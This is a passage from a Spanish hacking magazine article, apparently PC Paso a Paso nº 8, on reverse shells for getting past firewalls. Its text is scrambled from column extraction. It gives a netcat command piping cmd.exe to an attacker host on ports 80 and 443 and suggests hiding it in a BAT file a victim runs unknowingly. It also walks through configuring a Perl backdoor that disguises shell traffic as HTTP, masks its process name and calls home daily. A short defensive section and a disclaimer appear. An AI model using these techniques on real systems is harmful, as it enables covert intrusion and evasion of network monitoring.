(puerto UDP 53) para que la resolución de nombres funcione puedes ver, un FIREWALL tiene muchas maneras de correctamente y el escenario que hemos presentado resulte proteger al PC Víctima, no todo es cuestión de impedir realista, así como una regla inicial que deniegue todos los PC PASO A PASO Nº 8 Página 31
  • 32. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl Por lo tanto, en mi equipo debo tener alguna accesos, por defecto, desde/hacia cualquier sitio por otra herramienta escuchando en uno de los cualquier puerto... Pero eso no es relevante para el objetivo puertos objetivo. Veamos, ¿De donde saco algo de este artículo. así? Ante este primer escenario, no hay por que complicarse la vida. YA disponemos de una ! Comentario de... herramienta que nos permitirá llevar a cabo esta conexión: el netcat ;). Comentario de Hack x Crack: Es el último "añadido" que hacemos, no queremos ensuciar este EXCELENTE artículo interrumpiéndolo constantemente… IP Interna, IP Externa, ! Sí buscáis... DNS, puertos, servicios, TCP/UDP, netcat, shell, cmd y muchos otros conceptos implícitos en este texto han sido Si buscáis por Internet encontrareis varias herramientas ya estudiados en los anteriores números de esta publicación, que permiten hacer un "reverse shell" de forma más intuitiva, así que, ya sabes ;) pero mi intención es mostraros el concepto y la técnica... Queda a vuestro criterio que herramienta os gusta o convence más. El uso de netcat ilustra perfectamente el funcionamiento Pues ya vemos como pintan las cosas. Un de esta técnica. troyano convencional, que abra un puerto en la máquina víctima y se ponga a la escucha no nos servirá de nada, porque no podremos llegar Veamos como podemos usar el netcat para hacer a ese puerto... ¡"Cagonel" p*** firewall...! esto. Para ello necesitaremos tener el netcat en la maquina víctima y en nuestra maquina atacante en De la misma forma, el netcat usado tal y como el exterior. Supongamos que la IP de nuestra maquina en Internet es 192.168.100.100 (otra dirección se explicó en la revista tampoco nos servirá de inválida ;)). nada... Abrirá una shell y se quedará escuchando en un puerto al que nunca podré Revisemos nuestro objetivo: Queremos que la acceder desde el exterior... Tengo que buscar máquina víctima inicie la conexión hacia nuestra otra alternativa. maquina atacante y que nos suministre una shell de comandos. Veamos, ¿Qué me permite el firewall? Me permite cursar tráfico comenzando la petición Podemos conseguir esto usando el netcat y el "pipe" desde una máquina en el interior de la red... (|) del S.O. (Sistema Operativo). Veamos como: Además, dicho tráfico debe estar dirigido a los puertos 80 o 443. También me deja cursar En la máquina atacante (nuestra máquina exterior) tráfico hacia los puertos 25 y 110, pero como abrimos DOS consolas de comandos y escribimos lo solo me permite hacerlo a una IP concreta (la siguiente (una instrucción en cada consola): del Servidor de Correo del ISP) me olvidaré de (En la primera consola) nc -vv -l -p 80 estos por el momento... (En la segunda consola) nc -vv -l -p 443 Ok, lo que necesito es un troyano (o herramienta) que LLAME A MI EQUIPO Ahora tenemos dos consolas abiertas con el netcat ATACANTE (y no al revés) y me suministre una escuchando en un puerto distinto en cada una de interfaz de comandos. Esto es lo que se conoce ellas: el puerto 80 en la primera y el puerto 443 en con el nombre de "Reverse Shell". la segunda. Página 32 PC PASO A PASO Nº 8
  • 33. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl En la maquina víctima se deberá escribir el siguiente nuestra máquina atacante al puerto 443, donde comando: tenemos escuchando nuestro segundo netcat abierto en nuestra segunda consola, en la nc 192.168.100.100 80 | cmd.exe | nc maquina atacante. 192.168.100.100 443 En resumen, desde el punto de vista de nuestra ! Esta secuencia... máquina atacante tendremos que ejecutamos comandos en una consola y observamos su salida en la otra. Esta secuencia podría ser ejecutada por un fichero BAT (o en cualquier otro lenguaje) oculto o usando cualquiera de Desde el punto de vista de la máquina víctima las técnicas habituales que hacen que un usuario ejecute ejecutará comandos mediante una conexión algo que no debe sin saberlo... que comenzó ella dirigida al puerto 80 de una máquina externa y devolverá la salida a través de otra conexión que comenzó ella dirigida al Bueno, venga puerto 443 de una máquina externa... Ambas conexiones permitidas por el firewall. ¿Qué estamos diciendo aquí? Veamos: a) nc 192.168.100.100 80: Comenzamos una conexión con el netcat desde la máquina exión al puerto 80 del atacante víctima a nuestra máquina exterior, dirigida al 1) Con 2) Introducción de comandos puerto 80 (puerto permitido por el cortafuegos) b) | cmd.exe: Con un "pipe" (|) dirigimos la Pc Pc salida del comando anterior al programa Víctima IP:10.20.30.40 (por ejemplo) Atacante cmd.exe. En UNIX (o Linux) sustituir cmd.exe IP:192.198.100.100 Puerto: el que asigne el sistema Escuchando puerto 80 por /bin/sh c) | nc 192.168.100.100 443: Con un nuevo 3) Pasa comando "pipe" (|) dirigimos la salida del comando CMD.EXE 4) Procesar el comando anterior (cmd.exe) al netcat, pero esta vez 5) Pasa respuesta apuntando a nuestra máquina exterior al puerto 443 (otro puerto permitido). IP:10.20.30.40 IP:192.198.100.100 Puerto: el que asigne el sistema Escuchando puerto 443 El resultado de esto es claro. La máquina víctima se conecta con nosotros a través del 6) Envio de respuesta puerto 80. En la primera consola de nuestra maquina atacante capturaremos esa conexión y podremos escribir los comandos que ¿Qué tenemos? Obviamente una interfaz de queramos ejecutar (por ejemplo "dir c:") comandos con una máquina víctima que está detrás de un firewall de filtrado de paquetes Este comando se reenviará al programa que no nos permitía conectarnos desde el cmd.exe de la máquina víctima (dado que es exterior a ninguna máquina del interior. la salida de su primer netcat), que lo ejecutará. Seguro que algún espabilado ya se ha dado A continuación, el resultado se enviará al cuenta de que este método funciona segundo netcat de la máquina víctima, a través exactamente igual con máquinas detrás de un del "pipe" (|), quien a su vez lo dirigirá a router que no tienen ningún puerto redirigido PC PASO A PASO Nº 8 Página 33
  • 34. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl hacia máquinas internas... ¿Os suena de nc -vv -l -p 80 (Obteniendo la imagen anterior) algo? ;-) ! Entendamos... ! En el caso de... Entendamos eso de nc -vv -l -p 80 En el caso de que no dispongamos del netcat instalado en * la opción -vv, por decirlo de forma rápida y sencilla, nos la máquina víctima podremos conseguir el mismo resultado permitirá obtener más información por pantalla de lo que mediante el programa telnet. está pasando. * la opción -l le indica al netcat que debe quedarse escuchando conexiones entrantes. 3.- SEGUNDO ESCENARIO PASO A * la opción -p 80 le indica al netcat en qué puerto debe PASO Y EN TU PC quedarse escuchando, en este caso el puerto 80. Todo lo explicado PUEDES PROBARLO EN TU PC haciendo tu mismo de atacante y víctima. 3.2 Activando la Segunda Consola 3.1 Activando la Primera consola. - Abrimos otra Ventana de Comandos, nos vamos al directorio del netcat y ejecutamos la - Te creas una carpeta llamada nc7 (o el orden nombre que quieras) en tu disco C y metes dentro el netcat (puedes "coger" el netcat de nc -vv -l -p 443 nuestra Web: www.hackxcrack.com, no olvides descomprimirlo ;p). Es idéntica a la anterior salvo que esta vez se - Abres una Ventana de Comandos (esto ya lo queda escuchando el puerto 443. explicamos una y mil veces en anteriores números) y te metes en el directorio donde Con esto ya tenemos acabas de poner el netcat (c:nc7 en nuestro la parte "atacante" caso) preparada :), ahora vamos a "trabajarnos" a la víctima ;) 3.3 Creamos un fichero BAT que ejecute la "orden" nc 127.0.0.1 80 | cmd.exe | nc 127.0.0.1 443 y, para quien no tenga ni idea de lo que es un fichero BAT :(… pues venga… * abrimos nuestro Bloc de Notas (o cualquier otro editor de texto PLANO) * escribimos la orden nc 127.0.0.1 80 | cmd.exe | nc 127.0.0.1 443 y lo guardamos en el directorio donde tenemos el netcat (en cd c:nc7 c:nc7) con el nombre que quieras, nosotros e introduces el comando para obtener La lo hemos llamado "lanza.txt" Primera Consola. Por cierto, para quien no sepa cómo se introduce Página 34 PC PASO A PASO Nº 8
  • 35. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl esa barra vertical (no te quejarás no…) pues de arriba a la izquierda e introduce un comando, pulsas la tecla [Alt Gr] + la tecla 1… pero por ejemplo el comando dir c:. Inmediatamente hombre, la del teclado numérico NO!!!, por obtendrás en la Ventana de Comandos de arriba favor, pulsa la tecla 1 de toda la vida!!! (si te a la derecha el listado de archivos del disco C: da vergüenza leer esto, imagina lo que siento yo al escribirlo ;p) * Finalmente, le cambiamos la extensión al fichero lanza.txt transformándolo en lanza.bat ¿Cómo? ¿Qué dices? ¿Qué no puedes ver las extensiones TXT y BAT? NO!!!! NO!!!!! NO!!!!!!!!! Me niego a decirte cómo se activa la visualización de las extensiones en Windows… venga hombre, si realmente no lo sabes investiga un poquito y como último recurso pásate por el foro de Hack x Crack, acumula una buena dosis de valor y pregunta!!! :p * Ya está todo preparado para el gran momento. Inicia otra ventana de comandos (con esta ya van tres), ves al directorio del netcat (c:nc7) No te cortes, introduce todos los comandos y ejecuta el fichero lanza.bat DOS en la Ventana de Comandos de arriba a Te aconsejo que tengas las tres Ventanas de la izquierda y observa el resultado en la de Comando a la vista cuando lo hagas ;p arriba a la derecha ;p 4.- SEGUNDO ESCENARIO Ahora supongamos que nuestro firewall dichoso es aun más listo, y nuestro administrador más espabilado. El firewall que tenemos NO SOLO filtra los paquetes de forma que solo se puedan dirigir desde/hacia determinadas IPs y/o puertos. Además, es capaz de validar (mediante una aplicación de tipo proxy o gateway, por ejemplo) que el tipo de tráfico cursado cumple con unas normas básicas de protocolos HTTP, SMTP y POP (que son los servicios que permitíamos en el ejemplo anterior). ¿Qué ha pasado? Bueno, creo que ya lo explicamos antes, pero por si acaso te has Obviamente, nuestras sesiones netcat, con perdido :) entrada/salida de comandos, no pasarían - Las dos ventanas de arriba son las que desapercibidas a tan malévolo ingenio. tendrías en un ordenador (PC ATACANTE) Detectaría que el tráfico cursado NO cumple el - La ventana de abajo sería la que tendrías en protocolo HTTP (que define la forma en que la víctima (debidamente oculta, claro) los navegadores piden páginas a los servidores web, y la forma en que estos responden). Ahora, por si te quedan dudas de lo que hemos Además, ese "peaso" de firewall deja un log conseguido, ves a la Ventana de Comandos que el administrador revisará (ya hemos dicho PC PASO A PASO Nº 8 Página 35
  • 36. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl que el tío es "espabilao") y tratará de tracear ¿Por qué en Perl? Bueno, hay 3 poderosas nuestra conexión hacia atrás (y existen formas). razones: 1.- Fue el lenguaje elegido por el autor original ¡Dios mío! ¡Esto es un infierno! Ahora si que porque, según él, "le gusta el perl". nos han vencido... ¿Qué podemos hacer? 2.- A mi TAMBIÉN me gusta el perl. Tenemos dos opciones: 3.- Nos introducirá en el conocimiento de la existencia de un lenguaje de programación muy 1.- Echarnos a llorar y dedicarnos a algo más elegante, simple y potente. productivo como poner velas a San Clementino. Para empezar, podemos hacer una breve 2.- Crear (o buscar) un troyano que: introducción al lenguaje perl. a) inicie la conexión desde el interior de la red hacia mi máquina, y no al revés. 4.1 INCISO POÉTICO... EL b) Me suministre una interfaz de comandos. LENGUAJE PERL. c) Lo haga emulando el protocolo HTTP. ¿ Q u é e s P e r l ? ( E x t ra í d o d e " Pe r l Es decir, precisamos un "reverse shell" que documentation" (documentación Perl)). simule que el tráfico cursado es HTTP (como "Perl es un lenguaje de programación de alto si se estuviese navegando por un servidor web) nivel de orientación ecléctica escrito por Larry Wall y miles de colaboradores. Deriva del Pues bien... La opción 2 es la que eligió nuestro lenguaje C y, en menor grado, de utilidades amigo Van Hauser, y la que trataré de explicar como sed, awk, el shell de UNIX y una docena a continuación. de otras herramientas y lenguajes. Las facilidades de manipulación de texto, ficheros, procesos y Para ello, partiremos del programa que escribió Bases de Datos que nos ofrece perl lo hacen tan renombrado miembro de THC: rwww- particularmente útil para tareas relacionadas shell.pl. Pero usaremos una versión ligeramente con el prototipado rápido, utilidades de sistema, retocada por mí para ilustrar dos cosas: herramientas software, administración de 1.- La sencillez y potencia del lenguaje perl. sistemas, acceso a Base de Datos, programación 2.- El límite a esta técnica lo pone solo la gráfica, networking y programación de CGIs... imaginación. Existe una tercera razón. Cuando probé el programa me cortaba las salidas de ficheros grandes al hacer, por ejemplo, un cat de dichos ficheros (similar al type de windows). Por ello, y como quería ver los ficheros enteros, decidí incluir un par de modificaciones menores ;) ! Como expuse... Como expuse al principio, este programa está diseñado para correr en máquinas UNIX/Linux que tengan el perl instalado (la mayoría de ellas deberían tenerlo). Página 36 PC PASO A PASO Nº 8
  • 37. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl Como se puede deducir de esta definición, Perl es, fundamentalmente, un lenguaje de programación. Podríamos decir que es un lenguaje de programación que se compila en fase de ejecución (algunos prefieren el término La explicación del lenguaje en sí escapa al "interpretado"). objetivo de este artículo. Existen cientos de libros excelentes sobre el tema. Incluso existe La potencia de perl viene derivada de que, a un CD de O'Reilly con 6 libros sobre Perl... Un pesar de ser un lenguaje de muy alto nivel, CD excelente, si se me permite decirlo. que nos permite hacer de forma MUY fácil lo que en C nos costaría sudores, nos da un ¿Cómo es un programa en Perl? elevado grado de control de funciones de bajo Enseguida verás un ejemplo. Baste decir aquí nivel del sistema. No es, obviamente, tan que un programa en perl tiene el aspecto de eficiente como C en términos de rendimiento... un script (como los ficheros .bat de Windows Pero es mucho más eficiente en términos de o los shell-script de UNIX). Necesita conocer productividad, dado que podemos programar la ruta del intérprete (primera instrucción del mucho más rápidamente utilidades que hagan script) si se desea ejecutar directamente, o se lo mismo. puede ejecutar si llamamos al programa a través del intérprete (p.ej.: mi_maquina$ Es por ello que se ha hecho muy popular entre /usr/bin/perl mi_programa.pl). Administradores de Sistemas (y entre programadores de CGIs, por qué no decirlo ;)). ¿Por qué debería perder tiempo aprendiendo Perl? En primer lugar... Porque NO es una pérdida de tiempo. Con Perl podrás Por convención, Y SOLO por convención, se automatizar rápida y eficientemente tareas suele poner la extensión .pl a todos los scripts rutinarias de administración. Podrás crear perl... Pero esto NO es obligatorio. procesos por lotes tremendamente potentes de forma rápida. Es Open Source (no tienes Perl puede parecer críptico, en un primer que pagar por el compilador/intérprete, ni por acercamiento. De hecho, una experto las librerías ni por distribuirlo ni...). Podrás programador perl utilizará muy pocas líneas programar potentes aplicaciones informáticas de extraño aspecto para codificar un programa... orientadas al web, portables y escalables. Por Pero no es mas críptico que C, por ejemplo. si todo esto fuese poco, si aprendes algo de También es importante entender el concepto Perl... PODRÁS ENTENDER EL CÓDIGO DEL y funcionamiento de las "expresiones regulares" PROGRAMA DESCRITO EN ESTE ARTÍCULO ;) en perl, pues nos darán una potentísima ¿Te parece poco? :) herramienta de trabajo y programación. ¿Cómo puedo aprender e instalar Perl? Y nada más. Hecho este inciso volvemos al Bueno... Mi recomendación es que visites en tema que nos ocupa... "¿Podemos engañar al primer lugar CPAN (www.cpan.org) Desde allí firewall ese de las narices?" podrás descargarte Perl, así como ver documentación y encontrar enlaces de 4.2 LA "MAGIA" DEL TROYANO. importancia. Como se ha dicho, esto no es más que un PC PASO A PASO Nº 8 Página 37
  • 38. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl intento de profundizar en un concepto. Este "encriptado"... Ofuscado o codificado sería mas programa puede ser MUY mejorado para correcto. Se utiliza el sistema de codificación resultar mucho más... útil. Pero creo que ilumina Base 64, muy usado en comunicaciones web y lo que se trata de explicar en estas líneas. que, por lo tanto, debería pasar desapercibido a un observador casual que estuviese esnifando ¿Qué hace el troyano? la conexión. Desde luego, NO es un método de Este programa opera de forma muy simple. Se encriptación como tal, aunque MS así lo hiciese trata de un único script escrito en Perl que se creer en su día. usará en modo "slave" (en la máquina víctima) o en modo "master" (en la máquina atacante). Para ello solo se debe correr (ejecutar) el ! Sí quieres... programa indicando en la línea de comandos el parámetro slave o master. Si quieres saber más sobre BASE64, puedes empezar por esta Web: http://www25.brinkster.com/seninx/base64.asp. La operativa es simple: Entre otras cosas te ofrece el enlace a la RFC1113 y un El esclavo tratará de conectarse al maestro codificador/decodificador ON-LINE ;) cada día a una hora concreta (si se especifica de esa forma). Una vez lograda la conexión la comunicación se establece de la siguiente manera... Veamos un ejemplo: Sentido: Slave -> master Contenido: GET /cgi- bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjF LdgxEdb1He7krj HTTP/1.0 Algo así será lo primero que el esclavo envíe al maestro. Esta línea, emulando una petición normal HTTP en su versión 1.0, lo único que A continuación el esclavo (slave) o máquina hace es enviar al "master" el prompt del shell víctima enviaría de nuevo un GET con el listado del sistema remoto. Es decir, el master mostraría del directorio actual que le hemos pedido el prompt de una consola shell remota normal codificado en Base 64... Y así sucesivamente. y corriente (como si hubiésemos hecho un telnet). ¿Qué tenemos? Pues una sesión interactiva en modo comando con una máquina situada detrás Ahora el master debe responder (obviamente, de un cortafuegos que, mediante una aplicación como en todo tráfico HTTP a una petición sigue "gateway" o "proxy" permite que el tráfico de una respuesta) peticiones sea sólo de tipo HTTP... Sin meterse Sentido: Master -> Slave demasiado en honduras. Contenido: g5mAlfbknz El firewall vería al "slave" como si fuese un Esta respuesta no es más que un comando usuario normal y corriente, "de carne y hueso", "ls" (como un "dir" de Windows) ejecutado usando su navegador para hacer peticiones a desde el master. un servidor web (navegar) y recibiendo las respuestas de dicho servidor. En los logs se Como habréis visto, el tráfico circula apreciaría EXACTAMENTE lo mismo, dado que Página 38 PC PASO A PASO Nº 8
  • 39. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl son "peticiones válidas" y "tráfico permitido" !list : Muestra una lista con un identificador toda la comunicación pasaría sin problemas ni único por cada slave conectado actualmente. alerta a través del sistema de seguridad que !use <id>: Permite conmutar entre slaves. El montó este Administrador. En realidad, las valor <id> debe ser sustituido por uno de los respuestas del "servidor web" serán los identificadores únicos que nos muestra el comandos que deseamos ejecutar y las comando !list. "peticiones del cliente" la salida (el resultado) de dichos comandos. NOTA Para los que quieran "bucear" en el programa... Pero... ¿Qué pasa si un administrador curioso Tuve que modificar la parte del "master" por observa que hay conexiones a una página web las razones que expuse antes: nueva o referenciada como IP o, simplemente, a) para que pudiese leer toda la información que no le suene?... ¿O si alguien os escanea enviada (por el problema que tuve con los los puertos y trata de conectarse a vuestro archivos de texto largos). puerto 80 donde escuchará el programa en b) para introducir el concepto de "comandos modo master? Pues nada. Para eso se usa una de control". variable de "clave" ($PASSWORD) que, de no ser encontrada por el master en la petición Podréis comprobar que el acceso a sockets se provocará que se devuelva un mensaje de "esa realiza de una forma distinta. En este caso página no se encuentra en este servidor" o el decidí usar las funciones del módulo IO::Socket mensaje que prefiráis dar... para introducir una forma más cómoda de manejar sockets que con las funciones del ¡ESO ES EXACTAMENTE LO QUE BUSCÁBAMOS! módulo original Socket utilizadas por Van Increíble. Un firewall puede ser burlado para Hauser... permitir la conexión remota... Para los que quieran "tocar a fondo" el Modificaciones "autóctonas". código (sugerencias)... Como dije, introduje algunas modificaciones Cuando me planteé este artículo pensé en (muy pequeñas) en el programa de Van Hauser. incluir un conjunto más amplio de opciones En primer lugar... Originalmente, solo permitía dentro del programa, pero no lo hice por dos UN SLAVE cada vez. Ahora puede haber tantos razones: como se desee... a) La falta de tiempo. b) No era necesario para ilustrar el concepto. También he incluido una opción de "logging" que permite enviar una sesión a un fichero log, Sin embargo, una vez incluido el concepto de además de verla en pantalla. "comandos de control", hay una serie de ideas que, como ejercicio, podrían resultar de interés. Además, he introducido el concepto de Veamos algunas... "comando interactivo" en el programa. Esto es, se pueden ejecutar determinadas acciones - Que el programa permita el intercambio de de CONTROL que NO serán ejecutadas como ficheros entre la víctima y el atacante. "¿Puede si de un comando se tratase en la máquina hacerse?" preguntareis... Pues se me ocurre atacante... Actualmente solo he implementado que es prácticamente trivial. ¿Para que está el 2, para demostrar el concepto (observar el ! formato MIME, por ejemplo? ;) delante del comando... Indica que se trata de - Que el "master" devuelva una página HTML un comando de control): más compleja (y no el simple mensaje típico PC PASO A PASO Nº 8 Página 39
  • 40. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl de 404 pagina no encontrada) cuando la petición buscando conexiones a una misma IP a que recibimos no cumple las reglas de nuestro intervalos "demasiado regulares" y desconfiar slave (y por lo tanto la está haciendo un de ellos... Aunque si el atacante modifica desconocido). Esta página podría parecer que regularmente la hora diaria a la que se ejecuta te pide autenticación para entrar en la "colección el backdoor o dispone de varias IPs entre las de fotos familiares" o algo así (eso explicaría que alternar no encontraremos un patrón el denso tráfico en las peticiones del cliente al adecuado. servidor... podrían pasar por "uploads" ;) - También para el caso de peticiones "no También podemos "esnifar" regularmente a la adecuadas" (que no vengan del slave), se búsqueda de comunicaciones HTTP no podría "redirigir" el tráfico hacia un autentico habituales (p.ej. en las que el cliente envía servidor web... Esto haría que pareciese "aún mensajes muy largos en sus peticiones)... Pero más" que en nuestro puerto 80 hay un servidor esto no deja de ser pesado y difícil de precisar, web, en el caso de que un administrador podría ayudarnos a detectar un backdoor de quisiese entrar a "fisgonear" ;) estas características. - Incluir una capa SSL para el tráfico... (Adiós BASE 64. Hola querida encriptación ;) ). También, hacernos con algún software que nos permita escanear regularmente los equipos de Todo esto haría de este "programa ejemplo" nuestros usuarios en busca de programas o una curiosa herramienta de seguridad, más archivos no instalados por nosotros podría potente y difícil de detectar... Y seguro que ayudar... pero en el caso de tener muchos PCs vuestra calenturienta mente es capaz de seguiría siendo una tarea de titanes (aunque imaginar más modificaciones... ¿no? Pues eso, restrinjamos por "tipo de documento", este a practicar :) programa podría tener cualquier extensión y es en texto plano). Herramientas como "tripwire" Y ahora... La gran pregunta: ¿Cómo podrían ser útiles en este contexto, al menos podemos protegernos de este tipo de para las máquinas más sensibles... ataques? La respuesta es complicada, dado que no existe Buscar algún gateway que sea "más inteligente" una "varita mágica". Aunque el programa y que pueda analizar el contenido de los original (rwww-shell) pueda ser detectado por paquetes HTTP en busca de patrones... No antivirus, una modificación en el mismo bastará conozco una herramienta así en estos para que no lo reconozcan. momentos, lo cual no quiere decir que "no exista", of course ;). Además, las herramientas Un proxy autenticado ayudará, pero no resolverá analizadoras de contenido HTTP inciden en el el problema. El educar a nuestros usuarios es rendimiento de nuestras conexiones web (los imprescindible a todas luces, aunque en el caso usuarios notarán un descenso en la velocidad de que el que inyecta el backdoor trabaje en de navegación). Como siempre, se debe valorar la casa no servirá de nada. Incluso algunos la relación entre seguridad y operatividad según usuarios bien intencionados pasarán por alto la dinámica de cada empresa concreta. nuestras recomendaciones ante un correo jugoso o un link interesante, confiando Como muchas otras veces, lo único que plenamente en el antivirus (si lo tienen) para podemos hacer es estar vigilantes, auditar con sentirse seguros. regularidad nuestros sistemas y estar al loro ante herramientas nuevas que puedan surgir Podemos colocar un IDS y revisar los logs en este aspecto (tanto de ataque como de Página 40 PC PASO A PASO Nº 8
  • 41. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl defensa)... Configuración La forma de configurar el programa es muy 4.3. EL PROGRAMA EN SÍ MISMO. simple. Se debe editar, con cualquier editor de Bien, pasemos ahora al programa en sí. Antes texto plano (no procesador de textos, OJO) y de nada un par de aclaraciones: poner los parámetros adecuados. Veamos como: 1.- No puedo garantizar que funcione con todos Las líneas que comienzan por el carácter "#" los cortafuegos ni con todos los proxys son líneas de comentario, NO forman parte del y gateways HTTP. Funciona con los código. Y el programa no las tendrá en cuenta. que yo los he probado (no, no pienso decir Es como si no estuviesen... Es una buena forma cuales ;)). de habilitar o deshabilitar opciones. Si hay un # delante de una variable, esa variable NO se 2.- Vuelvo a insistir en la intención de esta inicializando (es como si no existiese). "proof of concept" de este artículo y este programa. Que nadie espere un ejemplo de programación avanzada, ni la octava Sección de CONFIGURACIÓN GENERAL maravilla del mundo. De hecho, he respetado # configuración general (Salvo para $MASK el el programa de Van Hauser tanto como he #resto debe ser igual para el master y el slave podido... Eso incluye los "goto's" que el había #en esta sección utilizado. # $MODE="POST"; # GET or POST 3.- De nuevo recalcar (ya se que soy pesado... $CGI_PREFIX="/cgi-bin/orderform";# debe ¿qué pasa?) que este programa, así como este #parecer un cgi válido... artículo, se han realizado con la idea de mejorar $MASK="TROYANO_MALO"; el conocimiento sobre como vuestros sistemas # for masking the program's process name pueden ser atacados con el fin de que podáis $PASSWORD="MIA"; # anything, estar prevenidos. EN NINGUN caso animo, #nothing you have to remember apoyo, realizo, comulgo ni colaboro con ningún # (not a #real "password" anyway) tipo de acto delictivo. Allá cada uno con su conciencia... a) Primero vemos la línea $MODE. No entraré en detalles sobre los métodos definidos Limitaciones en HTTP para el intercambio de información El programa no funciona bien con comandos con el usuario... Simplemente elegir GET o interactivos (como el vi, por ejemplo o el sqlplus POST (Por defecto POST). de ORACLE). Se debe usar con comandos que b) Luego tenemos $CGI_PREFIX. Esta se ejecuten y terminen en una sola pasada, cadena es la que se enviará en la solicitud sin pedir mas datos al usuario... Sin embargo, (emulada) HTTP... Podéis poner lo que mas os esto no es un problema para aquellos de guste, siempre que parezca que se hace vosotros que de verdad os empeñéis en hacer referencia a un CGI que pudiera ser válido. Por algo. Por ejemplo, un sencillo archivo de defecto "/cgi-bin/orderform", pero podría ser comandos en shell-script podrá interactuar con /cgi-bin/mi_cgi.cgi cualquier programa que pida datos al usuario c) Luego el parámetro $MASK. Este es (si conocemos la secuencia de respuestas que importante. Se trata del "nombre" con que deseamos dar) . Dicho script podrá después aparecerá el programa al hacer un "ps" para ser ejecutado con el troyano sin problemas y ver los procesos activos en la maquina víctima... capturar la salida ;) Lógicamente NO debería llamarse PC PASO A PASO Nº 8 Página 41
  • 42. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl TROYANO_MALO. Sería mejor algo como "lpd" #$PROXY_PORT="3128"; # Puerto del proxy o "vi" o "/bin/sh/" o cualquier otro nombre que #si lo hay... no resulte "cantoso" para un administrador ;) #$PROXY_USER="user"; # Nombre del d) Finalmente la variable $PASSWORD. #usuario para autenticarse en el proxy (si se No es un password real. Se usa solamente #requiere) para identificar que el intento de conexión se #$PROXY_PASSWORD="pass";# password realiza desde el slave que nosotros colocamos, #$DEBUG="yes"; # Solo para debugging y no se trata de un extraño tratando de ver #$BROKEN_RECV="yes"; # Para AIX & que hay en el puerto 80 de nuestra maquina #OpenBSD, NO para Linux ni Solaris atacante. Por defecto "MIA". a) $SHELL. EL shell que deseamos ejecutar. Normalmente será /bin/sh Sección de CONFIGURACION PARA EL MASTER b) $DELAY. El tiempo que esperará el slave a # CONFIGURACION PARA EL MASTER que termine de ejecutarse un comando concreto #(Obligatoriamente deben llevarlo igual el antes de enviar la salida al master. Es importante #master y el slave) notar que por defecto está en 2 segundos... # pero si vamos a ejecutar un script largo en la $LISTEN_PORT=80; # Puerto en el que máquina atacada o similar deberemos aumentar #escuchara (80 necesita permisos de root)) este tiempo para evitar problemas. $SERVER="www.mimaquina_atacante.com"; c) $TIME. Hora a la que el programa iniciará # EL host atacante... vale IP o nombre DNS) la conexión. Si se omite (o se comenta como está por defecto) el programa slave tratará de a) $LISTEN_PORT. En esta variable ponemos iniciar la conexión al ejecutarlo. el puerto en el que el master estará a la d) $DAILY. Importante... Si queremos que el escucha y al que al slave tratará de conectarse. programa trate de conectarse todos los días Por defecto 80. deberemos descomentar esta línea (por defecto b) $SERVER. La dirección IP o nombre DNS comentada)... Lo hará a la hora especificada de nuestra máquina atacante (en la que en $TIME, que deberá colocarse a un valor estamos corriendo el master). adecuado. Si no descomentamos esta línea, el programa NO se conectará todos los días. e) $PROXY ... $PROXY_PASSWORD: Variables Sección de CONFIGURACIÓN PARA EL SLAVE importantes en caso de que la conexión al # CONFIGURACION DEL SLAVE (Solo importa exterior desde la maquina atacada se realice #para el slave... El situado en la maquina a través de un proxy... el usuario y el password #atacada) se especificarán si dicho proxy es autenticado # f) $DEBUG. Saca en pantalla información sobre $SHELL="/bin/bash -i"; # Shell a ejecutar... lo que va haciendo el programa... Solo durante $DELAY="2"; # Tiempo de espera el tiempo de depuración (Es demasiado cantoso #para la salida tras los comandos... sobre todo en el slave ;) ) #$TIME="15:58"; # Hora de conexión g) $BROKEN_RECV... Para solucionar un #al master (ahora mismo si no se especifica problema con los AIX y OPENBSD en el manejo #una) de sockets. No se necesita en otros UNIX (ni #$DAILY="yes"; # Intenta conectarse en LINUX) #una vez al día si se especifica aquí #$PROXY="127.0.0.1"; # En caso de Como vemos, el slave solo necesita #necesitar un proxy... OBLIGATORIAMENTE que definamos las Página 42 PC PASO A PASO Nº 8
  • 43. REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELL - REVERSE SHELl variables $SHELL y $DELAY para probarlo. El etc. (no el word ni ningún "procesador" de resto son opcionales en función de lo que textos). queramos hacer y de la tipología de la red (en el caso de las variables relacionadas con el El nombre del programa puede ser el que os PROXY). de la gana. Yo he decidido llamarlo rws.pl, para no confundirlo con el original de Van Hauser Y nada más. Una vez editadas estas líneas y (rwww-shell.pl) y respetar la intención de su modificado el valor de las variables que debáis nombre ("reverse-web-shell" o "shell inverso modificar (tal y como se ha explicado mas vía web"). arriba) solo deberéis ejecutar el programa en modo slave en un ordenador remoto y en modo Por último... Recordad. Las líneas que empiezan master en el vuestro (o ambos en el mismo si con # SON COMENTARIOS. No se interpretan tenéis una red loopback definida)... como parte del código. Podéis descomentar una línea (una inicialización de variable, p.ej.) OJO. Es importante que el "master" este activo quitando el carácter # inicial. Podéis volver a y escuchando ANTES de que el slave trate de comentarla colocando uno de nuevo. conectarse. De lo contrario... El slave cerrará su conexión y no volverá a intentarlo hasta el MUY IMPORTANTE: El código del día siguiente (si se ha puesto "yes" en la variable programa lo tienes en la sección $DAILY, claro y descomentado la línea tal como PROGRAMAS de nuestra Web se explicó). (www.hackxcrack.com). No lo hemos puesto en la revista porque ocupa seis Ejecución... páginas ;p Si ejecutas el programa sin argumentos, saca una línea indicando la sintaxis que debes utilizar: usar: rws master|slave [-l [directorio_log] El primer parámetro es obligatorio y podrá ser EL GANADOR DEL "master" o "slave" 